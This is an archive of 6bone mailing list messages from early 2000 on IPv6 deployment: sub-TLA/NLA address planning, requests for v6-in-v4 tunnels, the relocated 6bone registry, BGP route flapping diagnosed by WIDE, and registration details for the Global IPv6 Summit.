To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>, 6Bone <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: How to extend NLA ID into reserved field
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At 04:31 PM 2/18/2000 +0800, Yann-Ju Chu wrote:

>We have got one subTLA block and
>if  I futher divide my subTLA as following:
>
>              1/35   1/39   1/43   1/48
>      ---------+------+-----+------+--------------
>      | subTLA | NLA1 | RES | NLA2 |             |
>      ---------+------+-----+------+-------------
>I assign NLA2 to my directly connected customers. And I have confusion 
>about how
>to use RES bit for my NLA2.
>
>There is one line in RFC2374 talking about how to use RES for NAL2:
>To extend the NLA ID into the reserved field if additional room for 
>complexity is needed.
>
>When I have consumes all NLA2 for a given (subTLA, NLA1, RES=0) pair and 
>now some of my
>customer need more address from me, If I extend the NLA2 ID into the reserve
>field, the address for the customer seems not to be continuous. (The 
>previous and the
>new one I assinged) . With the condition, I would rather allocate another NLA1
>to assign NLA2.
>
>Can anybody tell me what's the above line means?
>(To extend the NLA ID into the reserved field if additional room for 
>complexity is needed.)

This refers to the Aggregatable Addressing plan for TLA's in general, not 
the use of TLA=2001 for sub-TLA purposes. It meant that we reserved 8-bits 
between TLA and NLA so either could expand in future plans (not the users 
choice, rather an IETF/IANA/RIR choice). So don't think of this as a part 
of the way the TLA=2001 sub-TLA's are handed out.

Thus your use of a RES field between NLA1 and NLA2 isn't related. In your 
case, you could choose to leave the RES field as a way of expanding either 
your NLA1 field to the right, or your NLA2 field from the left.


Bob


From 6bone-owner  Fri Feb 18 22:51:47 2000
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Date: Sat, 19 Feb 2000 14:47:38 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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We have got one subTLA block and
if  I futher divide my subTLA as following:

              1/35   1/39   1/43   1/48
      ---------+------+-----+------+--------------
      | subTLA | NLA1 | RES | NLA2 |             |
      ---------+------+-----+------+-------------


Since aggregation is an important topic in IPv6 world, when we assign one NLA1
to one organzation, should we reserve the next few NLA1 blocks in advance? ( to insure continous address allocation to a single organization once the
 organization have consumed their origin NLA2 and ask for another NLA1 block assignment)


Is there any document talking about this?
					Thanks

-- 
---------------------------------
      Yann-Ju Chu
    Telecommunication Laboratories
    ChungHwa Telecom Co., Ltd.
    TEL: +886 3 424-5681
    FAX: +886 3 424-4888
    http://www.chttl.com.tw
---------------------------------

From 6bone-owner  Sun Feb 20 08:23:43 2000
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To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>, 6Bone <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: How to do address assignment
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Yann-Ju,

At 02:47 PM 2/19/2000 +0800, Yann-Ju Chu wrote:
>We have got one subTLA block and
>if  I futher divide my subTLA as following:
>
>               1/35   1/39   1/43   1/48
>       ---------+------+-----+------+--------------
>       | subTLA | NLA1 | RES | NLA2 |             |
>       ---------+------+-----+------+-------------
>
>
>Since aggregation is an important topic in IPv6 world, when we assign one NLA1
>to one organzation, should we reserve the next few NLA1 blocks in advance? 
>( to insure continous address allocation to a single organization once the
>  organization have consumed their origin NLA2 and ask for another NLA1 
> block assignment)
>
>
>Is there any document talking about this?

I believe that just the various plans for IPv6 addressing by those that 
have received a sub-TLA allocation. The one we have for ESnet is at:

<http://esnet-v6r2.es.net/ipv6-addressing/>


Taks a look, then ask me specific questions if you wish.


Thanks,

Bob


From 6bone-owner  Sun Feb 20 20:09:45 2000
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From: Kengo NAGAHASHI <kenken@sfc.wide.ad.jp>
To: 6bone@ISI.EDU
Subject: Re: How to do address assignment
In-Reply-To: In your message of "Sun, 20 Feb 2000 08:23:27 -0800"
	<4.2.2.20000220082040.00ac9508@imap2.es.net>
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> >
> >Is there any document talking about this?
> 
> I believe that just the various plans for IPv6 addressing by those that 
> have received a sub-TLA allocation. The one we have for ESnet is at:
> 

And the other is  WIDE-JP(2001:200::/35).The addressing plan  can be found:

http://www.v6.wide.ad.jp/Registry/v6_addr_track/stla_delegate_description.txt

Just a rough draft.But if there is a demand,we'll grad to rewrite it.
And I think it will be helpfull for a new sub-TLA subscriber
to gather such sub-TLA addressing plans.

regards.

--
Kengo NAGAHASHI
Keio University/WIDE Project
<kenken@sfc.wide.ad.jp>

From 6bone-owner  Sun Feb 20 22:18:42 2000
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: How to do address assignment
To: kenken@sfc.wide.ad.jp (Kengo NAGAHASHI)
Date: Sun, 20 Feb 2000 22:18:36 -0800 (PST)
Cc: 6bone@ISI.EDU
In-Reply-To: <87wvnz42o9.wl@hirosue.v6.sfc.wide.ad.jp> from "Kengo NAGAHASHI" at Feb 21, 2000 01:09:26 PM
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% > >Is there any document talking about this?
% > 
% > I believe that just the various plans for IPv6 addressing by those that 
% > have received a sub-TLA allocation. The one we have for ESnet is at:
% > 
% 
% And the other is  WIDE-JP(2001:200::/35).The addressing plan  can be found:
% 
% http://www.v6.wide.ad.jp/Registry/v6_addr_track/stla_delegate_description.txt
% 
 
Ours is integral to the DNS zone file.   Also note that there is an
early version of an rwhois server for IPv6 sites at:   rwhois.ip6.int.
Feedback is desired.

-- 
--bill

From 6bone-owner  Mon Feb 21 00:35:56 2000
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Date: Mon, 21 Feb 2000 16:34:50 +0800
From: Shao Wenjian <wjshao@njnet.edu.cn>
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Hi:
    Do you know whether java has implemented ipv6 sockets?


Sincerely Yours wjshao



From 6bone-owner  Mon Feb 21 05:15:11 2000
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Date: Mon, 21 Feb 2000 08:13:50 -0500 (EST)
From: Greg Maxwell  <gmaxwell@Martin.FL.US>
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Subject: Getting a tunnel & address space.
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I'm trying to get a medium sized site on the 6bone for some testing. I've
emailed 3 pTLAs in the past 2.5 weeks and I've recieved no responce.

Is anyone willing to provide a v6-in-v4 tunnel and some address space who
is in network proximity to NETBLK-MCNET.

Sorry for taking this on the list, but I'm growing impatience as I want to
have IPv6 deployed for testing when the Solaris 8 boxes arrive. :)

--
The comments and opinions expressed herein are those of the author of this 
message and may not reflect the policies of the Martin County Board of
County Commissioners.


From 6bone-owner  Mon Feb 21 06:44:36 2000
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Date: Mon, 21 Feb 2000 09:46:08 -0500
To: Greg Maxwell  <gmaxwell@Martin.FL.US>, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: Getting a tunnel & address space.
Cc: ipv6@viagenie.qc.ca
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At/À 08:13 2000-02-21 -0500, Greg Maxwell you wrote/vous avez écrit:

>I'm trying to get a medium sized site on the 6bone for some testing. I've
>emailed 3 pTLAs in the past 2.5 weeks and I've recieved no responce.

we can provide you with a tunnel. please send your request to 
ipv6@viagenie.qc.ca and we will go from there.

Marc.


>Is anyone willing to provide a v6-in-v4 tunnel and some address space who
>is in network proximity to NETBLK-MCNET.
>
>Sorry for taking this on the list, but I'm growing impatience as I want to
>have IPv6 deployed for testing when the Solaris 8 boxes arrive. :)
>
>--
>The comments and opinions expressed herein are those of the author of this
>message and may not reflect the policies of the Martin County Board of
>County Commissioners.


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Thu Feb 24 19:27:28 2000
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Date: Fri, 25 Feb 2000 11:26:50 +0800 (MYT)
From: Raja Azlina Raja Mahmood <ina@mimos.my>
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Subject: require NLA address in order to tunnel
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Appreciate if anyone could provide us with NLA address and
willing to tunnel with us.  We are located in Malaysia with IP of
192.228.134.72.  I've e-mailed those in Asian region but not much 
of luck so far and I'm not sure if geographical location is my main
concern now.  If no reply from Asian region, I'll have to find other
alternative.  Perhaps viagenie.qc.ca is willing(I saw your reply).   

Forgive me if this e-mail bothers some of you.

regards,
-azlina-




From 6bone-owner  Thu Feb 24 22:56:12 2000
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Date: Thu, 24 Feb 2000 22:55:29 -0800
To: Raja Azlina Raja Mahmood <ina@mimos.my>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: require NLA address in order to tunnel
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Azlina,

At 11:26 AM 2/25/2000 +0800, Raja Azlina Raja Mahmood wrote:

>Appreciate if anyone could provide us with NLA address and
>willing to tunnel with us.  We are located in Malaysia with IP of
>192.228.134.72.  I've e-mailed those in Asian region but not much
>of luck so far and I'm not sure if geographical location is my main
>concern now.  If no reply from Asian region, I'll have to find other
>alternative.  Perhaps viagenie.qc.ca is willing(I saw your reply).

Have you tried any of the SINGAREN folk at:

<http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/NUS-IRDU.html>


Bob


From 6bone-owner  Fri Feb 25 00:25:54 2000
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From: Raja Azlina Raja Mahmood <ina@mimos.my>
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Bob,

Singaren was the first organization that I e-mailed to.  They has agreed
to peer with us, but then they only provide their v4 address, without
assigning NLA address to us until now.  I've replied to them asking
for it together with our future plan.  Guess I'm getting impatience 
these days.  If you advise me to wait, then I'll do that until March.
Or else I'll appreciate co-operation from other parties.  Thanks.

regards,
-azlina  

> Have you tried any of the SINGAREN folk at:
> 
> <http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/NUS-IRDU.html>
> 
> 
> Bob
> 
> 





From 6bone-owner  Fri Feb 25 02:57:15 2000
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Hello Ina,

     I have some block of addresses for APAN-MY-IPv6 activities. It's from WIDE
...

please mail me ...

-ettikan




Raja Azlina Raja Mahmood <ina@mimos.my> on 02/25/2000 11:26:50 AM

To:   6bone@ISI.EDU
cc:    (bcc: Ettikan Kandasamy/NTTMSC)

Subject:  require NLA address in order to tunnel





Appreciate if anyone could provide us with NLA address and
willing to tunnel with us.  We are located in Malaysia with IP of
192.228.134.72.  I've e-mailed those in Asian region but not much
of luck so far and I'm not sure if geographical location is my main
concern now.  If no reply from Asian region, I'll have to find other
alternative.  Perhaps viagenie.qc.ca is willing(I saw your reply).

Forgive me if this e-mail bothers some of you.

regards,
-azlina-








From 6bone-owner  Fri Feb 25 11:58:58 2000
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Date: Fri, 25 Feb 2000 11:58:31 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone registry moved
Cc: David Kessens <David.Kessens@qwest.net>,
        Bob Hinden <hinden@iprg.nokia.com>
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David Kessens asked me to forward the email below to the list.

In a nutshell, David has changed jobs, moving from Qwest to Nokia (though 
his email doesn't reflect this yet). Thus the whois.6bone.net 6bone 
registry server has been relocated. I'm sure David will change logos on his 
various pages when he returns from his trip to Europe, so don't be confused 
that the Qwest logo is still present.

I have changed the various 6bone web pages to reflect this server change (I 
hope I have caught the various places I still used a qwest domain name). 
Please let me know if you find places that still need updating.

So, please review the email below.


Thanks,

Bob


====================================================================
Hi,

I have changed the physical location of the 6bone registry due to an
impending job change to Nokia.

The name of the machine is the same.

The url for my personal 6bone information and http whois client has
changed to:

<http://whois.6bone.net/~david/6bone/>

The mail address for updates is now: <auto-dbm@whois.6bone.net>

The old url & mail address is still in place but might be taken away
at some point in the furture so I recommend to start using the new
addresses.

You can always mail me in emergency situations. As a backup, Bob Fink
or Bob Hinden should know my whereabouts when you are unable to get a
quick hold of me.

I hope this helps,

David K.
---



From 6bone-owner  Sat Feb 26 14:25:08 2000
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From: "Johannes Elsinghorst" <johanneselsinghorst@hotmail.com>
To: 6bone@ISI.EDU
Subject: shell account provider
Date: Sat, 26 Feb 2000 22:24:29 GMT
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hello,
i have only a win98-box to use. So my question is:
is there any commercial or private shell provier, that
is connected to the 6bone and is willing to provide me
a shell account ?

thx, Johannes Elsinghorst
______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com


From 6bone-owner  Mon Feb 28 16:36:56 2000
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Date: Mon, 28 Feb 2000 16:43:05 -0800
To: 6bone@ISI.EDU
From: Cyndi Jung <cmj@3Com.com>
Subject: IPv6-only reachable websites during Summit
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6bone members -

The Global IPv6 Summit in Telluride will be connected to the
Internet  with a T1 via the 'Net Cafe in the Steaming Bean 
<http://www.steamingbean.com> and also to the 6bone (looking
for the closest point of attachment to it still - any volunteers?)

During the conference, each conference seat will be supplied with
a 10/100 ethernet port, plus a wireless 802.11 access.  Both
IPv4 and IPv6 connectivity will be available.

So, if anybody out there has a website that is reachable only over IPv6,
it would be great if you could send me a URL for that site.  If you don't
have it ready today, put one up and send me the URL when it is up.  Please,
use a little taste with the content - no pornography.

Thanks,

Cyndi


From 6bone-owner  Tue Feb 29 19:01:10 2000
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From: "Jack Wilkinson" <jackw@jounce.net>
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does anyone know if Virtual Private Networking should be at all effected by
the change to IPv6?  I wouldn't expect so, but thought I'd make sure before
making a recommendation.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
M. Jackson Wilkinson <jackw@jounce.net>
President - JounceNET Internet Services
Voicemail/Fax: (877) 8329021 -- Cell: (215) 9191513


From 6bone-owner  Wed Mar  1 00:14:42 2000
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From: Petri Bernhard <Bernhard.Petri@icn.siemens.de>
To: "'Jack Wilkinson'" <jackw@jounce.net>
Cc: 6bone@ISI.EDU
Subject: RE: prospective VPN effects
Date: Wed, 1 Mar 2000 09:15:16 +0100 
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The term VPN means many things to various people, and may refer to quite a
number of technical concepts (see e.g. RFC 2764-I ). Typical scenarios may
e.g. be the interconnection of 2 sites, or the access of a host to an
Intranet from a remote location. For such scenarios, the term VPN is often
understood in terms of getting a certain QoS, security level, addressing
support, feature set, tunnel provision, manageability, billing discount,
etc.

Depending on which of these criteria is mainly referred to when talking
about VPNs, IPv6 may or may not effect Virtual Private Networking. I can
imagine that within a VPN Service the provision of a certain security level
will be more easy and likely in IPv6, since basic IPSec functions are
mandatory in IPv6; I also assume that a VPN service in IPv6 will not have
those problems with private addressing schemes used in Intranets as the
current IPv4.

For a more detailed evaluation, I suggest you also distinguish between
various scenarios, e.g.:
- IPv4 is used in private network, VPN service provider uses / offers IPv6
backbone
- IPv6 is used in private network, VPN service providers uses IPv4 backbone
- IPv6 is used in the private network and is also used/offered by the VPN
service provider.

Kind regards

-Bernhard

Bernhard Petri, Siemens 
Tel: +49 89 722-34578
Fax: +49 89 722-29098
bernhard.petri@icn.siemens.de
______________________________

> -----Original Message-----
> From:	Jack Wilkinson [SMTP:jackw@jounce.net]
> Sent:	Wednesday, March 01, 2000 7:01 AM
> To:	6bone@ISI.EDU
> Subject:	prospective VPN effects
> 
> does anyone know if Virtual Private Networking should be at all effected
> by
> the change to IPv6?  I wouldn't expect so, but thought I'd make sure
> before
> making a recommendation.
> 
> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
> M. Jackson Wilkinson <jackw@jounce.net>
> President - JounceNET Internet Services
> Voicemail/Fax: (877) 8329021 -- Cell: (215) 9191513

From 6bone-owner  Wed Mar  1 07:35:27 2000
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From: Camille Huot <huot@iut-gtr.univ-mrs.fr>
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Hi, Im doing a review on the IPv6 protocol and IPv6 routing and Im looking after good IPv6 sniffers
to use under UNIX (Linux, BSD) and Windows NT.

Thanks
Camille HUOT


From 6bone-owner  Wed Mar  1 20:06:52 2000
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From: itojun@itojun.org
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Subject: WAY TOO BAD route flapping on 6bone
Date: Thu, 02 Mar 2000 13:06:51 +0900
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	(this is actually third time I'm sending this here... maybe From:
	filtered?)

	I see very bad route flaps on 6bone.  This morning, our router
	got over 10000 BGP updates in 2 hours period, for the following
	prefixes:
		3ffe:1900::/24
		3ffe:3500::/24
	we have been getting similar flap for:
		3ffe:1c00::/24
		3ffe:3200::/24
		3ffe:3800::/24
	so we (WIDE, AS2500) can do nothing but filter them.  We would
	like to know why this is happening.

itojun

From 6bone-owner  Thu Mar  2 01:57:20 2000
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To: horke@regio.net
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      <m12QQsk-002pOiC@rhoen.regio.net>
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Subject: Re: WAY TOO BAD route flapping on 6bone
Date: Thu, 02 Mar 2000 18:57:15 +0900
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>> 	I see very bad route flaps on 6bone.  This morning, our router
>> 	got over 10000 BGP updates in 2 hours period, for the following
>> 	prefixes:
>> 		3ffe:1900::/24
>> 		3ffe:3500::/24
>Our Router (3ffe:3500 / AS8319) is stable (6 Weeks Uptime) - while BGP-Links
>are stable too (around one week).
>Cannot see any unusual things happen.

	I see two AS paths for 3ffe:3500::/24.  there should be something
	strange inbetween (including our router)
	From Mar  2 09:00:00 to Mar  2 11:00:00, one of our router have seen:
		2948 updates with aspath: 3425 293 6175 8319
		4634 updates with aspath: 145 6175 8319
		651 withdraws
	for 3ffe:3500::/24.

itojun

From 6bone-owner  Thu Mar  2 03:58:20 2000
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From: karsten.haga@telenor.com
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To: 6bone@ISI.EDU
Subject: QoS and IPSec
Date: Thu, 2 Mar 2000 13:01:13 +0100 
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Hello

I currently have a test network  with two  7206 dual stack routers, and
hosts connected at each site. I want to implement RSVP and IPSec
functionality on the router. Is there anyone who have experiences with this
in a IPv6 mode?


regards

Karsten Haga
karsten.haga@telenor.com


From 6bone-owner  Thu Mar  2 08:44:57 2000
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Reply-To: "Conte' Green" <cgreen@hsacorp.net>
From: "Conte' Green" <cgreen@hsacorp.net>
To: <6bone@ISI.EDU>
Subject: 6bone Tunnel
Date: Thu, 2 Mar 2000 23:44:23 -0500
Organization: HSA Corp.
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This is a multi-part message in MIME format.

------=_NextPart_000_0015_01BF84A1.3D1BDAE0
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Excuse the splattercast.

HSA is looking to someone to provide a 6bone tunnel to its IPv6 router.  =
I have sent e-mail to two 6bone members with no reply.  Is there a pTLA =
that can provide us with a tunnel (DC)?

Thanks.
_____________________________________________________________

Conte' Green
Sr. Network Engineer
High Speed Access Corp.
Phone:  (703) 481-4600 ext. 134

------=_NextPart_000_0015_01BF84A1.3D1BDAE0
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3401" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Excuse the splattercast.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>HSA is looking to someone to provide a 6bone tunnel =
to its=20
IPv6 router.&nbsp; I have sent e-mail to two 6bone members with no =
reply.&nbsp;=20
Is there a pTLA that can provide us with a tunnel (DC)?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Thanks.</FONT></DIV>
<DIV><FONT=20
size=3D2>_____________________________________________________________</F=
ONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Conte' Green<BR>Sr. Network Engineer<BR>High Speed =
Access=20
Corp.<BR>Phone:&nbsp; (703) 481-4600 ext. 134</FONT></DIV></BODY></HTML>

------=_NextPart_000_0015_01BF84A1.3D1BDAE0--


From 6bone-owner  Thu Mar  2 13:08:10 2000
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Date: Thu, 02 Mar 2000 13:11:04 -0800
To: 6bone@ISI.EDU, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com,
        deployment@ipv6.org
From: Cyndi Jung <cmj@3Com.com>
Subject: Global IPv6 Summit: Members' code
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There is still time to register for this Summit.

The code below will give you the early registration rate.

Also, the website <http://www.ipv6forum.com> will give you additional
options on lodging - there are still places to stay with reasonable
rates.  The Telluride Conference Center is not in a hotel - so the
entire Town of Telluride (all 10 by 4 blocks) is available for lodging.

Thanks,

Cyndi




>Subject: Global IPv6 Summit: Members' code
>Sender: owner-members@ipv6forum.com
>X-MIME-Autoconverted: from quoted-printable to 8bit by
chicago.nsd.3com.com id QAA02362
>
>Hello Folks,
>
>For those of you planning to attend the Global IPv6 Summit in a few weeks,
>here is a registration code "AEKG". Using this code when you register will
>give you a price of $695 vs $895.
>
>Please register soon at:
> <https://www.stardust.com/events/ipv6summit/register.htm>
>
>Here is an email that IPv6 Forum Members should feel free to pass around to
>company employees, partners and other appropriate persons.
>
>Thanks,
>Marty
>
>
>------------------
>Global IPv6 Summit - <http://www.stardust.com/ipv6summit/>
>------------------
>When:	March 13-16
>Where:	Telluride, Colorado USA
>
>Judy Estrin, Cisco's CTO is the opening keynote for the Global IPv6 Summit.
>
>The Global IPv6 Summit is the industry's gathering on IPv6 adoption,
>innovation and opportunity. The conference, workshops and IPv6 Forum
>meetings are March 13-16, 2000 in the beautiful resort town of Telluride,
>Colorado USA at the conference center in Mountain Village.
>
>In this intimate setting (space is limited to 200 people) you will be able
>to pose questions and debate with the leaders in this technology. Register
>today for only $895 at http://www.stardust.com/ipv6summit/
>
>At the summit we will focus on the deployments of IPv6 around the world,
>explore why wireless and home networking technology demands IPv6, and
>examine how IPv6 is presenting opportunities for application vendors,
>service providers, content providers and enterprise network engineers.
>
>Sessions will focus on
>----------------------
>- The Coming Tidal Wave of Applications
>- The Industry's Roadmap
>- "IPv6-Ready" Platforms and Routers
>- IPv6 Around the World
>- ISP Commercial Deployment
>- IPv6 Customers
>- IPv6 Standards
>- IPv6 Forum Meetings
>
>Who should attend? We expect the mix of summit attendees to include CEO's,
>CIO's, CTO's, network engineers, architects, developers, scientists,
>researchers, network managers and others who are responsible for networks
>and network technology. Attendance is limited to 200 people.
>
>Featured Keynote 
>----------------
>The New Internet presented by Judy Estrin, CTO of Cisco Systems
>
>The promise of the New Internet is communications ubiquity; our appliances,
>networks, electronic equipment, cars and even clothes will communicate with
>us and with each other. But IPv6 is required for us to realize the full
>potential of the global network.
>
>Judy Estrin is Chief Technology Officer and Senior Vice President at Cisco
>Systems. She is responsible for strategic technology planning and business
>development including investments and acquisitions, consulting engineering
>and advanced Internet projects, as well as legal and government affairs.
>
>Speakers will Represent
>-----------------------
>@Home, 3Com, Advanced Systems Consulting, Cisco Systems, Compaq,
>Ericsson-Telebit, InfiniBand Trade Association, Internet-Standard.com, MCI
>WorldCom, Microsoft, NetworkWorld, Nokia, Nortel Networks, NTT, Sun, Telia,
>Thomson-CSF, UCAID, UMTS Forum, UNAM, US Navy, and Viagénie.
>
>Sponsors
>--------
>The Global IPv6 Summit is graciously sponsored by 3Com, Cisco, Compaq,
>Microsoft, Motorola, Nokia, Nortel Networks, Qwest, Sun Microsystems and
>Teleglobe. Viagénie is sponsoring a free IPv6 tutorial on March 13th for
>registered summit attendees.
>
>
>Please email Sherryl Alameda <sherryla@stardust.com> or call with any
>questions at (408)879-8080.
>
>
>
>---
>Marty Bickford  - 408.879.8080 (8081-fax)
>Stardust.com - http://www.stardust.com
>
>


From 6bone-owner  Thu Mar  2 14:44:02 2000
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Date: Wed, 01 Mar 2000 16:57:40 -0500
To: Cyndi Jung <cmj@3Com.com>, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: IPv6-only reachable websites during Summit
Cc: ipv6@viagenie.qc.ca
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At/À 16:43 2000-02-28 -0800, Cyndi Jung you wrote/vous avez écrit:
>6bone members -
>
>The Global IPv6 Summit in Telluride will be connected to the
>Internet  with a T1 via the 'Net Cafe in the Steaming Bean
><http://www.steamingbean.com> and also to the 6bone (looking
>for the closest point of attachment to it still - any volunteers?)

Cyndi, we can provide one. Send mail to ipv6@viagenie.qc.ca


>During the conference, each conference seat will be supplied with
>a 10/100 ethernet port, plus a wireless 802.11 access.  Both
>IPv4 and IPv6 connectivity will be available.
>
>So, if anybody out there has a website that is reachable only over IPv6,

if you run the quake client, then quake.ipv6.viagenie.qc.ca.

>it would be great if you could send me a URL for that site.  If you don't
>have it ready today, put one up and send me the URL when it is up.  Please,
>use a little taste with the content - no pornography.

www.normos.org is also available by ipv6.  Normos is a site containing all 
IETF RFCs, drafts, W3C tech documents, ATMForum standards, IANA assignments 
and some ISO and IEEE standards.
So useful content...;-)))

Marc.


>Thanks,
>
>Cyndi


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Thu Mar  2 15:32:13 2000
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	Fri, 3 Mar 2000 00:18:53 +0100
Date: Fri, 3 Mar 2000 00:18:52 +0100
From: Jean-Claude Christophe <jch@oleane.net>
To: "Conte' Green" <cgreen@hsacorp.net>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone Tunnel
Message-ID: <20000303001852.O3022@oleane.net>
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Try http://www.freenet6.net/

> 
> Excuse the splattercast.
> 
> HSA is looking to someone to provide a 6bone tunnel to its IPv6 router.  I have sent e-mail to two 6bone members with no reply.  Is there a pTLA that can provide us with a tunnel (DC)?
> 
> Thanks.
> _____________________________________________________________
> 
> Conte' Green
> Sr. Network Engineer
> High Speed Access Corp.
> Phone:  (703) 481-4600 ext. 134

-- 

---------------------------------------
Jean-Claude Christophe <jch@oleane.net>
France Telecom Oleane DT/BED

From 6bone-owner  Fri Mar  3 02:50:55 2000
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      <5B3F16B2DB67D1119A0D00805F312AA219694D10@RED-MSG-58>
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Subject: Re: WAY TOO BAD route flapping on 6bone
Date: Fri, 03 Mar 2000 19:50:53 +0900
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	The issue seem to be a combination of EBGP flapping (1 update
	per second), and local IBGP flapping due to a bug in route reflector
	(more than 3 incoming update per second, result in lots more flood
	of updates).  We (WIDE) have large inside topology and it contributed
	to the particular flaps.
	It looks the prefixes listed are not directly related to severe flaps
	in IBGP, it could have happened for any of the prefixes we receive.
	We are trying to look carefully after updating the code we use.

	Sorry for confusions.

itojun

From 6bone-owner  Fri Mar  3 08:47:02 2000
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Date: Thu, 02 Mar 2000 19:35:53 -0500
To: "Conte' Green" <cgreen@hsacorp.net>, <6bone@ISI.EDU>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: 6bone Tunnel
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At/À 23:44 2000-03-02 -0500, Conte' Green you wrote/vous avez écrit:
>Excuse the splattercast.
>
>HSA is looking to someone to provide a 6bone tunnel to its IPv6 router.  I 
>have sent e-mail to two 6bone members with no reply.  Is there a pTLA that 
>can provide us with a tunnel (DC)?
>

we can provide you one. send your request to ipv6@viagenie.qc.ca and 
someone of our team will respond.

Marc.


>Thanks.
>_____________________________________________________________
>
>Conte' Green
>Sr. Network Engineer
>High Speed Access Corp.
>Phone:  (703) 481-4600 ext. 134


Marc Blanchet
Viagénie inc.
tel: 418-656-9254
http://www.viagenie.qc.ca

----------------------------------------------------------
Normos (http://www.normos.org): Internet standards portal:
IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place.


From 6bone-owner  Mon Mar  6 03:20:24 2000
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Subject: Newbie
Date: Mon, 6 Mar 2000 11:12:58 -0000
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This is a multi-part message in MIME format.

------=_NextPart_000_002D_01BF875C.EDA02660
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Hi,

I am just getting started with IPv6, can anyone recommend where I can =
get some useful information.
I've got rfc 2374 for starters.

Thanks in advance..


Ali Gudgeon

Network Engineer
Kingston Internet
Office:  0113 384 2465
Mobile:  07867 904919
*************************************************************************=
***
 ****************************************************************=20
 This email and any files transmitted with it are confidential and =
intended solely for
 the use of the individual or entity to whom they are addressed. The =
views
 expressed in the email and files transmitted with it are those of the
 individual, not the company. If you have received this email in error =
please
 notify:- admin@kingston-internet.net
 =
*************************************************************************=
***
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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2>I am just getting =
started with IPv6,=20
can anyone recommend where I can get some useful =
information.</FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2>I've got rfc 2374 for=20
starters.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2>Thanks in =
advance..</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2>Ali =
Gudgeon</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2>Network =
Engineer<BR>Kingston=20
Internet<BR>Office:&nbsp; 0113 384 2465<BR>Mobile:&nbsp; 07867=20
904919<BR>***************************************************************=
*************<BR>&nbsp;**************************************************=
**************=20
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transmitted=20
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have=20
received this email in error please<BR>&nbsp;notify:- <A=20
href=3D"mailto:admin@kingston-internet.net">admin@kingston-internet.net</=
A><BR>&nbsp;*************************************************************=
***************<BR>&nbsp;************************************************=
****************<BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_002D_01BF875C.EDA02660--


From 6bone-owner  Mon Mar  6 03:56:33 2000
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From: Raizada Manoj <Manoj.Raizada@sisl.co.in>
To: Alison Gudgeon <alison.gudgeon@kingston-internet.net>
Cc: 6bone@ISI.EDU
Subject: RE: Newbie
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You can go to www.ipv6.com <http://www.ipv6.com>  or www.ipv6.org
<http://www.ipv6.org>  for the useful information. You can also get the RFCs
too.

Manoj Raizada

	-----Original Message-----
	From:	Alison Gudgeon [SMTP:alison.gudgeon@kingston-internet.net]
	Sent:	Monday, March 06, 2000 4:43 PM
	To:	6bone@ISI.EDU
	Subject:	Newbie

	Hi,
	 
	I am just getting started with IPv6, can anyone recommend where I
can get some useful information.
	I've got rfc 2374 for starters.
	 
	Thanks in advance..
	 
	 
	Ali Gudgeon
	 
	Network Engineer
	Kingston Internet
	Office:  0113 384 2465
	Mobile:  07867 904919
	
****************************************************************************
	 **************************************************************** 
	 This email and any files transmitted with it are confidential and
intended solely for
	 the use of the individual or entity to whom they are addressed. The
views
	 expressed in the email and files transmitted with it are those of
the
	 individual, not the company. If you have received this email in
error please
	 notify:- admin@kingston-internet.net
